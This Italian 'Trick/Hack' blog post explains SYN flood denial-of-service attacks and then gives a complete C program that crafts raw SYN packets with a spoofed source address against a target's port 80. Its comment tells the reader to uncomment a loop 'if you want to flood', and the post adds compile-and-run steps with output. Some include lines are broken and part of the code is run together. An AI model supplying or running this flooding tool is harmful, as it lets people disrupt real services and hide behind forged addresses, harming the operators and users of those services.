Trick/Hack Attacco DOS_SYN Flood con script in “C Source Code” (Linux)

Attacco DOS_SYN Flood con script in “C Source Code” (Linux)

Attacco DOS_SYN Flood  con script in “C Source Code” (Linux) post thumbnail image

Il “TCP/IP 3-way handshake” viene fatto per stabilire una connessione tra un client e un server. Il processo è:

1. ClientSYN Packet–> Server
2. ServerSYN/ACK Packet –> Client
3. ClientACK Packet –> Server

Questi tre passaggi sono seguiti per stabilire una connessione tra sorgente e destinazione.

Gli attacchi in SYN Flood DOS comportano l’invio di un numero eccessivo di pacchetti SYN (con un cattivo o casuale ip sorgente) al server di destinazione. Queste richieste SYN vengono messe in coda sul buffer del server e utilizzano le risorse e la memoria del server. Questo può portare ad un crash o ad appendere in un loop di attesa la macchina server.
Dopo l’invio del pacchetto SYN è una connessione semi-aperta e ci vogliono le risorse sulla macchina server. Quindi, se un utente malintenzionato invia pacchetti SYN più veloce della memoria viene liberata sul server quindi viene creata una situazione di overflow. Dal momento che vengono utilizzate le risorse del server la risposta per gli utenti legittimi è rallentata con un netto e altissimo lag, con conseguente negazione del servizio (Denial of Service=DOS).

La maggior parte dei server web odierni utilizzano i firewall in grado di gestire tali attacchi SYN flood per cui sono più immunia tali attacchi.

Per ulteriori informazioni su TCP Syn attacco DOS leggereRFC 4987, dal titolo “TCP SYN flooding e Attenuazioni comuni” qui

Di seguito è riportato uno codice script di esempio scritto in “C”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
/*
    Syn Flood DOS with LINUX sockets
*/
#include
#include //memset
#include<sys/socket.h>
#include //for exit(0);
#include //For errno - the error number
#include<netinet/tcp.h>   //Provides declarations for tcp header
#include<netinet/ip.h>    //Provides declarations for ip header
 
struct pseudo_header    //needed for checksum calculation
{
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
 
    struct tcphdr tcp;
};
 
unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;
 
    sum=0;
    while(nbytes>1) {
        sum+=*ptr++;
        nbytes-=2;
    }
    if(nbytes==1) {
        oddbyte=0;
        *((u_char*)&oddbyte)=*(u_char*)ptr;
        sum+=oddbyte;
    }
 
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    answer=(short)~sum;
 
    return(answer);
}
 
int main (void)
{
    //Create a raw socket
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    //Datagram to represent the packet
    char datagram[4096] , source_ip[32];
    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;
    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;
 
    strcpy(source_ip , "192.168.1.2");
 
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
 
    memset (datagram, 0, 4096); /* zero out the buffer */
 
    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htons(54321);  //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0;      //Set to 0 before calculating checksum
    iph->saddr = inet_addr ( source_ip );    //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;
 
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
 
    //TCP Header
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5;      /* first and only tcp segment */
    tcph->fin=0;
    tcph->syn=1;
    tcph->rst=0;
    tcph->psh=0;
    tcph->ack=0;
    tcph->urg=0;
    tcph->window = htons (5840); /* maximum allowed window size */
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
                should fill in the correct checksum during transmission */
    tcph->urg_ptr = 0;
    //Now the IP checksum
 
    psh.source_address = inet_addr( source_ip );
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);
 
    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
 
    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
 
    //IP_HDRINCL to tell the kernel that headers are included in the packet
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)     {         printf ("Error setting IP_HDRINCL. Error number : %d . Error message : %s \n" , errno , strerror(errno));         exit(0);     }           //Uncommend the loop if you want to flood :)     //while (1)     //{         //Send the packet         if (sendto (s,      /* our socket */                     datagram,   /* the buffer containing headers and data */                     iph->tot_len,    /* total length of our datagram */
                    0,      /* routing flags, normally always 0 */
                    (struct sockaddr *) &sin,   /* socket addr, just like in */
                    sizeof (sin)) < 0)       /* a normal send() */
        {
            printf ("error\n");
        }
        //Data send successfully
        else
        {
            printf ("Packet Send \n");
        }
    //}
 
    return 0;
}

Compilalo e avvialo:

$ gcc synflood.c 
$ sudo ./a.out 
Packet Send

Usare Wireshark per controllare i pacchetti e le risposte del server.
La funzione “sendto” se messo in loop inizierà inondando l’IP di destinazione con pacchetti SYN.

Leave a Reply

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Related Post